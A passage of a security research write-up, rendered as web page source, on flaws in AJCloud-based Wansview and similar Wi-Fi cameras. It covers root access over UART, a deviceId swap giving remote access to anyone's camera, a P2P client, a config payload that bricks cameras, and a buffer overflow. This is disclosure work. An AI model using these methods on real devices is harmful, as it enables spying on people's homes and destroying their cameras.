\",(0,t.jsx)(e.a,{href:\"https://www.faleemi.com/product/fsc886/\",rel:\"nofollow\",children:\"Faleemi 886\"}),\" and the \",(0,t.jsx)(e.a,{href:\"https://www.youtube.com/watch?v=X5P5fGhRxAs\",rel:\"nofollow\",children:\"Wansview Q6 (1080p)\"}),\" is obvious\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Reusing hardware manufacturing and software development resources likely helps to control costs and simplify logistics for AJCloud and its resellers. However, this streamlining of assets also means that security vulnerabilities discovered in one camera model would likely permeate all products associated with AJCloud.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Despite its critical role in bringing these devices to consumers, AJCloud has a relatively low public profile. However, IPVM researchers recently \",(0,t.jsx)(e.a,{href:\"https://ipvm.com/reports/ajcloud-wansview-leak\",rel:\"nofollow\",children:\"published\"}),\" research on a significant vulnerability (which has since been resolved) in AJCloud\\u2019s GitLab repository. This vulnerability would allow any user to access source code, credentials, certificates, and other sensitive data without requiring authentication.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Though total sales figures are difficult to derive for Wansview and other vendors in the Wi-Fi camera space, IPVM estimated that at least one million devices were connected to the AJCloud platform at the time of publication of their report. As camera sales \",(0,t.jsx)(e.a,{href:\"https://www.statista.com/forecasts/1301193/worldwide-smart-security-camera-homes\",rel:\"nofollow\",children:\"continue to soar\"}),\" into the hundreds of millions, it is safe to assume that more of AJCloud\\u2019s devices will be connected in homes across the world for years to come.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"initial-vulnerability-research-efforts\",children:\"Initial Vulnerability Research Efforts\"}),`\n`,(0,t.jsx)(e.p,{children:\"To gain a deeper understanding of the security posture of the Wansview Q5, we attacked it from multiple angles:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image23.png\",alt:\"\",title:\"image_tooltip\",width:\"997\",height:\"442\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"At first, our efforts were primarily focused on active and passive network reconnaissance of the camera and the \",(0,t.jsx)(e.a,{href:\"https://play.google.com/store/apps/details?id=net.ajcloud.wansviewplus\u0026hl=en_US\",rel:\"nofollow\",children:\"Android version\"}),\" of Wansview Cloud, Wansview\\u2019s official mobile app. We scanned for open ports, eavesdropped on network communications through man-in-the-middle (MitM) attacks, attempted to coerce unpredictable behavior from the cameras through intentional misconfiguration in the app, and disrupted the operation of the cameras by abusing the QR code format and physically interacting with the camera. The devices and their infrastructure were surprisingly resilient to these types of surface-level attacks, and our initial efforts yielded few noteworthy successes.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"We were particularly surprised by our lack of success intercepting network communications on both the camera and the app. We repeatedly encountered robust security features (e.g., certificate pinning, app and OS version restrictions, and properly secured TLS connections) that disrupted our attempts.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image13.png\",alt:\"\",title:\"image_tooltip\",width:\"304\",height:\"638\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Reverse engineering tools allowed us to analyze the APK much more closely, though the complexity of the code obfuscation observed within the decompiled Java source code would require an extended length of time to fully piece together.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our limited initial success would require us to explore further options that would provide us with more nuanced insight into the Q5 and how it operates.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"initial-hardware-hacking\",children:\"Initial Hardware Hacking\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To gain more insight into how the camera functioned, we decided to take a closer look at the camera firmware. While some firmware packages are available online, we wanted to take a look at the code directly and be able to monitor it and the resulting logs while the camera was running. To do this, we first took a look at the hardware diagram for the system on a chip (SoC) to see if there were any hardware avenues we might be able to leverage. The Wansview Q5 uses a \",(0,t.jsx)(e.a,{href:\"https://www.cnx-software.com/2020/04/26/ingenic-t31-ai-video-processor-combines-xburst-1-mips-and-risc-v-lite-cores/\",rel:\"nofollow\",children:\"Ingenic Xburst T31 SoC\"}),\", its system block diagram is depicted below.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image4.png\",alt:\"\",title:\"image_tooltip\",width:\"1631\",height:\"828\"})}),`\n`,(0,t.jsx)(e.p,{children:\"One avenue that stood out to us was the I2Cx3/UARTx2/SPIx2 SPI I/O block. If accessible, these I/O blocks often provide log output interfaces and/or shell interfaces, which can be used for debugging and interacting with the SoC. Appearing promising, we then performed a hardware teardown of the camera and found what appeared to be a UART serial interface to the SoC, shown below.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image15.png\",alt:\"\",title:\"image_tooltip\",width:\"1999\",height:\"1506\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Next, we connected a logic analyzer to see what protocol was being used over these pins, and when decoded, the signal was indeed UART.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image33.png\",alt:\"\",title:\"image_tooltip\",width:\"1999\",height:\"744\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Now that we can access an exposed UART interface, we then looked to establish a shell connection to the SoC via UART. There are a number of different software mechanisms to do this, but for our purposes we used the Unix utility \",(0,t.jsx)(e.code,{children:\"screen\"}),\" with the detected baud rate from the logic analyzer.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image11.png\",alt:\"\",title:\"image_tooltip\",width:\"1999\",height:\"775\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Upon opening and monitoring the boot sequence, we discovered that secure boot was not enabled despite being supported by the SoC. We then proceeded to modify the configuration to boot into single user mode providing a root shell for us to use to examine the firmware before the initialization processes were performed, shown below.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image29.png\",alt:\"\",title:\"image_tooltip\",width:\"1968\",height:\"1999\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Once in single-user mode, we were able to pull the firmware files for static analysis using the \",(0,t.jsx)(e.code,{children:\"binwalk\"}),\" utility, as shown below.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image32.png\",alt:\"\",title:\"image_tooltip\",width:\"1999\",height:\"632\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"At this stage, the filesystem is generally read-only; however, we wanted to be able to make edits and instantiate only specific parts of the firmware initialization as needed, so we did some quick setups for additional persistence beyond single-user mode access. This can be done in a number of ways, but there are two primary methods one may wish to use. Generally speaking, in both approaches, one will want to make as few modifications to the existing configuration as possible. This is generally preferred when running dynamic analysis if possible, as we have had the least impact on the run time environment. One method we used for this approach is to make a \",(0,t.jsx)(e.code,{children:\"tmpfs\"}),\" partition for read/write access in memory and mount it via \",(0,t.jsx)(e.code,{children:\"fstab\"}),\". In our case \",(0,t.jsx)(e.code,{children:\"fstab\"}),\" was already considered in such a way that supported this, and as such made it a very minimal change. See the commands and results for this approach below.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image17.png\",alt:\"\",title:\"image_tooltip\",width:\"1999\",height:\"1552\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Another method is to pull existing user credentials and attempt to use these to log in. This approach was also successful. The password hash for the root user can be found in the \",(0,t.jsx)(e.code,{children:\"etc/passwd\"}),\" file and decrypted using a tool like John the Ripper. In our above examples, we were transferring data and files entirely over the serial connection. The camera also has an available SD card slot that can be mounted and used to transfer files. Going forward, we will be using the SD card or local network for moving files as the bandwidth makes for faster and easier transfer; however, serial can still be used for all communications for the hardware setup and debugging if preferred.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Now, we have root level access to the camera providing access to the firmware and dmesg logs while the software is running. Using both the firmware and logs as reference, we then looked to further examine the user interfaces for the camera to see if there was a good entry point we could use to gain further insight.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"wansview-cloud-for-windows\",children:\"Wansview Cloud for Windows\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"After the mobile apps proved to be more secure than we had originally anticipated, we shifted our focus to an older version of the Wansview Cloud application built for Windows 7. This app, which is still \",(0,t.jsx)(e.a,{href:\"https://www.wansview.com/support_download\",rel:\"nofollow\",children:\"available for download\"}),\", would provide us with direct insight into the network communications involved with cameras connected to the AJCloud platform.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Thanks in large part to overindulgent debug logging on behalf of the developers, the Windows app spills out its secrets with reckless abandon seldom seen in commercial software. The first sign that things are amiss is that user login credentials are logged in cleartext.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image24.png\",alt:\"\",title:\"image_tooltip\",width:\"893\",height:\"330\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Reverse engineering the main executable and DLLs (which are not packed, unlike the Wansview Cloud APK) was expedited thanks to the frequent use of verbose log messages containing unique strings. Identifying references to specific files and lines within its underlying codebase helped us to quickly map out core components of the application and establish the high level control flow.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Network communications, which were difficult for us to intercept on Android, are still transmitted over TLS, though they are conveniently logged to disk in cleartext. With full access to all HTTP POST request and response data (which is packed into JSON objects), there was no further need to pursue MitM attacks on the application side.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image8.png\",alt:\"POST request to https://sdc-portal.ajcloud.net/api/v1/app-startup\",title:\"POST request to https://sdc-portal.ajcloud.net/api/v1/app-startup\",width:\"219\",height:\"282\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image25.png\",alt:\"POST response from https://sdc-portal.ajcloud.net/api/v1/app-startup\",title:\"POST response from https://sdc-portal.ajcloud.net/api/v1/app-startup\",width:\"750\",height:\"812\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Within the POST responses, we found sensitive metadata including links to publicly accessible screen captures along with information about the camera\\u2019s location, network configuration, and its firmware version.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image1.jpg\",alt:\"https://cam-snapshot-use1.oss-us-east-1.aliyuncs.com/f838ee39636aba95db7170aa321828a1/snapshot.jpeg\",title:\"https://cam-snapshot-use1.oss-us-east-1.aliyuncs.com/f838ee39636aba95db7170aa321828a1/snapshot.jpeg\",width:\"640\",height:\"360\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image10.png\",alt:\"POST response from https://cam-gw-us.ajcloud.net/api/v1/fetch-infos\",title:\"POST response from https://cam-gw-us.ajcloud.net/api/v1/fetch-infos\",width:\"717\",height:\"521\"})}),`\n`,(0,t.jsx)(e.p,{children:\"After documenting all POST requests and responses found within the log data, we began to experiment with manipulating different fields in each request in an attempt to access data not associated with our camera or account. We would eventually utilize a debugger to change the deviceId to that of a target camera not paired with the current logged in account. A camera deviceId doubles as its serial number and can be found printed on a sticker label located on either the back or bottom of a camera.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image2.png\",alt:\"\",title:\"image_tooltip\",width:\"1500\",height:\"1999\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We found the most appropriate target for our attack in a code section where the deviceId is first transmitted in a POST request to \",(0,t.jsx)(e.a,{href:\"https://sdc-us.ajcloud.net/api/v1/dev-config\",rel:\"nofollow\",children:\"https://sdc-us.ajcloud.net/api/v1/dev-config\"}),\":\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image31.png\",alt:\"\",title:\"image_tooltip\",width:\"860\",height:\"728\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Our plan was to set a breakpoint at the instruction highlighted in the screenshot above, swap out the deviceId within memory, and then allow the app to resume execution.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Amazingly enough, this naive approach not only worked to retrieve sensitive data stored in the AJCloud platform associated with the target camera and the account it is tied to, but it also connected us to the camera itself. This allowed us to access its video and audio streams and remotely control it through the app as if it were our own camera.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Through exploiting this vulnerability and testing against multiple models from various vendors, we determined that all devices connected to the AJCloud platform could be remotely accessed and controlled in this manner. We wrote a \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/camera-hacks/blob/main/windows/win_exploit.py\",rel:\"nofollow\",children:\"PoC exploit script\"}),\" to automate this process and effectively demonstrate the ease with which this access control vulnerability within AJCloud\\u2019s infrastructure can be trivially exploited.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"exploring-the-network-communications\",children:\"Exploring the network communications\"}),`\n`,(0,t.jsx)(e.p,{children:\"Though we were able to build and reliably trigger an exploit against a critical vulnerability in the AJCloud platform, we would need to dig further in order to gain a better understanding of the inner workings of the apps, the camera firmware, and the cloud infrastructure.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As we explored beyond the POST requests and responses observed throughout the sign-in process, we noticed a plethora of UDP requests and responses from a wide assortment of IPs. Little in the way of discernible plaintext data could be found throughout these communications, and the target UDP port numbers for the outbound requests seemed to vary. Further investigation would later reveal that this UDP activity was indicative of PPPP, an IoT peer-to-peer (P2P) protocol that was analyzed and demonstrated extensively by Paul Marrapesse during his \",(0,t.jsx)(e.a,{href:\"https://youtu.be/Z_gKEF76oMM?si=cqCBU6iPxCyEm-xm\",rel:\"nofollow\",children:\"presentation at DEF CON 28\"}),\". We would later conclude that the way in which we exploited the vulnerability we discovered was facilitated through modified P2P requests, which led us to further explore the critical role that P2P plays in the AJCloud platform.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image22.png\",alt:\"\",title:\"image_tooltip\",width:\"1532\",height:\"851\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The main purpose of P2P is to facilitate communication between applications and IoT devices, regardless of the network configurations involved. P2P primarily utilizes an approach based around \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/UDP_hole_punching\",rel:\"nofollow\",children:\"UDP hole punching\"}),\" to create temporary communication pathways that allow requests to reach their target either directly or through a relay server located in a more accessible network environment. The core set of P2P commands integrated into AJCloud\\u2019s apps provides access to video and audio streams as well as the microphone and pan/tilt/zoom.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"advanced-hardware-hacking\",children:\"Advanced Hardware Hacking\"}),`\n`,(0,t.jsx)(e.p,{children:\"With our additional understanding of the P2P communications, it was now time to examine the camera itself more closely during these P2P conversations, including running the camera software in a debugger. To start, we set up the camera with a live logging output via the UART serial connection that we established earlier, shown below.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image5.png\",alt:\"\",title:\"image_tooltip\",width:\"1999\",height:\"1725\"})}),`\n`,(0,t.jsx)(e.p,{children:\"This provided a live look at the log messages from the applications as well as any additional logging sources we needed. From this information, we identified the primary binary that is used to establish communication between the camera and the cloud as well as providing the interfaces to access the camera via P2P.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This binary is locally called initApp, and it runs once the camera has been fully initialized and the boot sequence is completed. Given this, we set out to run this binary with a debugger to better evaluate the local functions. In attempting to do so, we encountered a kernel watchdog that detected when initApp was not running and would forcibly restart the camera if it detected a problem. This watchdog checks for writes to \",(0,t.jsx)(e.code,{children:\"/dev/watchdog\"}),\" and, if these writes cease, will trigger a timer that will reboot the camera if the writes do not resume. This makes debugging more difficult as when one pauses the execution of initApp, the writes to the watchdog pause as well. An example of this stopping behavior is shown below:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image18.png\",alt:\"\",title:\"image_tooltip\",width:\"1999\",height:\"377\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"To avoid this, one could simply try writing to the watchdog whenever initApp stops to prevent the reboot. However, another cleaner option is to make use of the magic close feature of the \",(0,t.jsx)(e.a,{href:\"https://www.kernel.org/doc/Documentation/watchdog/watchdog-api.txt\",rel:\"nofollow\",children:\"Linux Kernel Watchdog Driver API\"}),\". In short, if one writes a specific magic character \\u2018V\\u2019 \",(0,t.jsx)(e.code,{children:\"/dev/watchdog\"}),\" the watchdog will be disabled. There are other methods of defeating the watchdog as well, but this was the one we chose for our research as it makes it easy to enable and disable the watchdog at will.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"With the watchdog disabled, setting up to debug initApp is fairly straightforward. We wanted to run the code directly on the camera, if possible, instead of using an emulator. The architecture of the camera is Little Endian MIPS (MIPSEL). We were fortunate that pre-built GDB and GDBServer binaries were able to function without modification; however, we did not know this initially, so we also set up a toolchain to compile GDBServer specifically for the camera. One technique that might be useful if you find yourself in a similar situation is to use a compilation tool like gcc to compile some source code to your suspected target architecture and see if it runs; see the example below.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image25.png\",alt:\"\",title:\"image_tooltip\",width:\"750\",height:\"812\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In our case, since our SoC was known to us, we were fairly certain of the target architecture; however, in certain situations, this may not be so simple to discover, and working from hello world binaries can be useful to establish an initial understanding. Once we were able to compile binaries, we then compiled GDBServer for our camera and then used it to attach and launch initApp. Then, we connected to it from another computer on the same local network as the camera. An example of this is shown below:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image7.png\",alt:\"\",title:\"image_tooltip\",width:\"1999\",height:\"479\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"As a note for the above example, we are using the \",(0,t.jsx)(e.code,{children:\"-x\"}),\" parameter to pass in some commands for convenience, but they are not necessary for debugging. For more information on any of the files or commands, please see our \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/camera-hacks/tree/main\",rel:\"nofollow\",children:\"elastic/camera-hacks\"}),\" GitHub repo. In order for initApp to load properly, we also needed to ensure that the libraries used by the binary were accessible via the \",(0,t.jsx)(e.code,{children:\"PATH\"}),\" and \",(0,t.jsx)(e.code,{children:\"LD_LIBARY_PATH\"}),\" environment variables. With this setup, we were then able to debug the binary as we needed. Since we also used the magic character method of defeating the watchdog earlier we also will need to make sure to control instances where the watchdog can be re-enabled. In most cases, we do not want this to happen. As such, we overwrote the watchdog calls in initApp so that the watchdog would not be re-enabled while we were debugging, as shown below.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image3.png\",alt:\"\",title:\"image_tooltip\",width:\"1999\",height:\"387\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The following video shows the full setup process from boot to running GDBServer. In the video, we also start a new initApp process, and as such, we need to kill both the original process and the \",(0,t.jsx)(e.code,{children:\"daemon.sh\"}),\" shell script that will spawn a new initApp process if it is killed.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/video1.gif\",alt:\"\",width:\"1280\",height:\"720\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"building-a-p2p-client\",children:\"Building a P2P Client\"}),`\n`,(0,t.jsx)(e.p,{children:\"In order to further explore the full extent of capabilities which P2P provides to AJCloud IoT devices and how they can be abused by attackers, we set out to build our own standalone client. This approach would remove the overhead of manipulating the Wansview Cloud Windows app while allowing us to more rapidly connect to cameras and test out commands we derive from reverse engineering the firmware.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"From the configuration data we obtained earlier from the Windows app logs, we knew that a client issues requests to up to three different servers as part of the connection process. These servers provide instructions to clients as to where traffic should be routed in order to access a given camera. If you would like to discover more of these servers out in the open, you can scan the Internet using the following four-byte UDP payload on port \",(0,t.jsx)(e.code,{children:\"60722\"}),\". Paul Marrapese used this technique to great effect as part of his research.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image34.png\",alt:\"\",title:\"image_tooltip\",width:\"268\",height:\"93\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image6.png\",alt:\"\",title:\"image_tooltip\",width:\"764\",height:\"289\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In order to properly establish a P2P connection, a client must first send a simple hello message (\",(0,t.jsx)(e.code,{children:\"MSG_HELLO\"}),\"), which needs to be ACK\\u2019d (\",(0,t.jsx)(e.code,{children:\"MSG_HELLO_ACK\"}),\") by a peer-to-peer server. The client then queries the server (\",(0,t.jsx)(e.code,{children:\"MSG_P2P_REQ\"}),\") for a particular deviceId. If the server is aware of that device, then it will respond (\",(0,t.jsx)(e.code,{children:\"MSG_PUNCH_TO\"}),\") to the client with a target IP address and UDP port number pair. The client will then attempt to connect (\",(0,t.jsx)(e.code,{children:\"MSG_PUNCH_PKT\"}),\") to the IP and port pair along with other ports \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/camera-hacks/blob/deb2abe9a7a1009c5c1b7d34584f143d5b62c82e/p2p/p2p_client.py#L247-L260\",rel:\"nofollow\",children:\"within a predetermined range\"}),\" as part of a \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/UDP_hole_punching\",rel:\"nofollow\",children:\"UDP hole punching\"}),\" routine. If successful, the target will send a message (\",(0,t.jsx)(e.code,{children:\"MSG_PUNCH_PKT\"}),\") back to the client along with a final message (\",(0,t.jsx)(e.code,{children:\"MSG_P2P_RDY\"}),\") to confirm that the connection has been established.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image28.gif\",alt:\"\",title:\"image_tooltip\",width:\"600\",height:\"337\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"After connecting to a camera, we are primarily interested in sending different \",(0,t.jsx)(e.code,{children:\"MSG_DRW\"}),\" packets and observing their behavior. These packets contain commands which will allow us to physically manipulate the camera, view and listen to its video and audio streams, access data stored within it, or alter its configuration. The most straightforward command we started with involved panning the camera counter clockwise, which we could easily identify as a single message transmission.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image30.png\",alt:\"\",title:\"image_tooltip\",width:\"1366\",height:\"755\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Debug log messages on the camera allowed us to easily locate where this command was processed within the firmware.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image20.png\",alt:\"\",title:\"image_tooltip\",width:\"636\",height:\"344\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Locating the source of this particular message placed us in the main routine which handles processing MSG_DRW messages, which provided us with critical insight into how this command is invoked and what other commands are supported by the firmware.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image14.png\",alt:\"\",title:\"image_tooltip\",width:\"550\",height:\"449\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Extensive reverse engineering and testing allowed us to build a \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/camera-hacks/blob/main/p2p/p2p_client.py\",rel:\"nofollow\",children:\"PoC P2P client\"}),\" which allows users to connect to any camera on the AJCloud platform, provided they have access to its deviceId. Basic commands supported by the client include camera panning and tilting, rebooting, resetting, playing audio clips, and even crashing the firmware.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The most dangerous capability we were able to implement was through a command which modifies a core device configuration file: \",(0,t.jsx)(e.code,{children:\"/var/syscfg/config_default/app_ajy_sn.ini\"}),\". On our test camera, the file\\u2019s contents were originally as follows:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`[common]\nproduct_name=Q5\nmodel=NAV\nvendor=WVC\nserialnum=WVCD7HUJWJNXEKXF\nmacaddress=\nwifimacaddress=\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"While this appears to contain basic device metadata, this file is the only means through which the camera knows how to identify itself. Upon startup, the camera reads in the contents of this file and then attempts to connect to the AJCloud platform through a series of curl requests to various API endpoints. These curl requests pass along the product name, camera model, vendor code, and serial number values extracted from the INI file as query string arguments. We used our client to deliver a message which overwrites the contents like so:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`[common]\nproduct_name=\nmodel=OPQRSTUVWXYZ[\\\\]^_\\`abcdefghijklmnopqrstuvwxyz{|}~HH01\nvendor=YZ[\\\\]^_\\`abcdefghijklmnopqrstuvwxyz{|}~HH01\nserialnum=defghijklmnopqrstuvwxyz{|}~HH01\nmacaddress=\nwifimacaddress=\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"After the camera is reset, all curl requests issued to AJCloud platform API endpoints as part of the startup routine will fail due to the malformed data contained within the INI file. These requests will continue to periodically be sent, but they will never succeed and the camera will remain inactive and inaccessible through any apps. Unfortunately, there is no simple way to restore the previous file contents through resetting the camera, updating its firmware, or restoring the factory settings. File modifications carried out through this command will effectively brick a camera and render it useless.\"}),`\n`,(0,t.jsx)(\"iframe\",{src:\"https://drive.google.com/file/d/1oK_umHYfScza-F5RQNUGgFe3GFOt5n--/preview\",width:\"640\",height:\"480\",allow:\"autoplay\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Taking a closer look at the decompiled function (\",(0,t.jsx)(e.code,{children:\"syscfg_setAjySnParams\"}),\") which overwrites the values stored in \",(0,t.jsx)(e.code,{children:\"app_ajy_sn.ini\"}),\", we can see that input parameters, extracted from the \",(0,t.jsx)(e.code,{children:\"MSG_DRW\"}),\" command are used to pass along string data which will be used to overwrite the model, vendor, and serial number fields in the file. memset is used to overwrite three global variables, intended to store these input strings, with null bytes. strcpy is then used to transfer the input parameters into these globals. In each instance, this will result in bytes being copied directly from the \",(0,t.jsx)(e.code,{children:\"MSG_DRW\"}),\" command buffer until it encounters a null character.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image21.png\",alt:\"\",title:\"image_tooltip\",width:\"645\",height:\"789\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Because no validation is enforced on the length of these input parameters extracted from the command, it is trivial to craft a message of sufficient length which will trigger a buffer overflow. While we did not leverage this vulnerability as part of our attack to brick the camera, this appears to be an instance where an exploit could be developed which would allow for an attacker to achieve remote code execution on the camera.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"impact\",children:\"Impact\"}),`\n`,(0,t.jsx)(e.p,{children:\"We have confirmed that a broad range of devices across several vendors affiliated with AJCloud and several different firmware versions are affected by these vulnerabilities and flaws. Overall, we successfully demonstrated our attacks against fifteen different camera products from Wansview, Galayou, Cinnado, and Faleemi. Based on our findings, it is safe to assume that all devices which operate AJCloud firmware and connect to the AJCloud platform are affected.\"}),`\n`,(0,t.jsx)(e.p,{children:\"All attempts to contact both AJCloud and Wansview in order to disclose these vulnerabilities and flaws were unsuccessful.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"what-did-the-vendors-do-right\",children:\"What did the vendors do right?\"}),`\n`,(0,t.jsx)(e.p,{children:\"Despite the vulnerabilities we discovered and discussed previously, there are a number of the security controls that AJCloud and the camera vendors implemented well. For such a low cost device, many best practices were implemented. First, the network communications are secured well using certificate based WebSocket authentication. In addition to adding encryption, putting many of the API endpoints behind the certificate auth makes man in the middle attacks significantly more challenging. Furthermore, the APKs for the mobile apps were signed and obfuscated making manipulating these apps very time consuming.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Additionally, the vendors also made some sound decisions with the camera hardware and firmware. The local OS for the camera is effectively limited, focusing on just the needed functionality for their product. The file system is configured to be read only, outside of logging, and the kernel watchdog is an effective method of ensuring uptime and reducing risk of being stuck in a failed state. The Ingenic Xburst T31 SoC, provides a capable platform with a wide range of support including secure boot, a Power-On Reset (POR) watchdog, and a separate RISC-V processor capable of running some rudimentary machine learning on the camera input.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"what-did-the-vendors-do-wrong\",children:\"What did the vendors do wrong?\"}),`\n`,(0,t.jsx)(e.p,{children:\"Unfortunately, there were a number of missed opportunities with these available features. Potentially the most egregious is the unauthenticated cloud access. Given the API access controls established for many of the endpoints, having the camera user access endpoints available via serial number without authentication is a huge and avoidable misstep. The P2P protocol is also vulnerable as we showcased, but compared to the API access which should be immediately fixable, this may take some more time to fix the protocol. It is a very dangerous vulnerability, but it is a little bit more understandable as it requires considerably more time investment to both discover and fix.\"}),`\n`,(0,t.jsx)(e.p,{children:\"From the application side, the primary issue is with the Windows app which has extensive debug logging which should have been removed before releasing publicly. As for the hardware, it can be easily manipulated with physical access (exposed reset button, etc.). This is not so much an issue given the target consumer audience. It is expected to err on the side of usability rather than security, especially given physical access to the device. On a similar note, secure boot should be enabled, especially given that the T31 SoC supports it. While not strictly necessary, this would make it much harder to debug the source code and firmware of the device directly, making it more difficult to discover vulnerabilities that may be present. Ideally it would be implemented in such a way that the bootloader could still load an unsigned OS to allow for easier tinkering and development, but would prevent the signed OS from loading until the boot loader configuration is restored. However, one significant flaw in the current firmware is the dependence on the original serial number that is not stored in a read only mount point while the system is running. Manipulating the serial number should not permanently brick the device. It should either have a mechanism for requesting a new serial number (or restoring its original serial number) should its serial number be overwritten, or the serial number should be 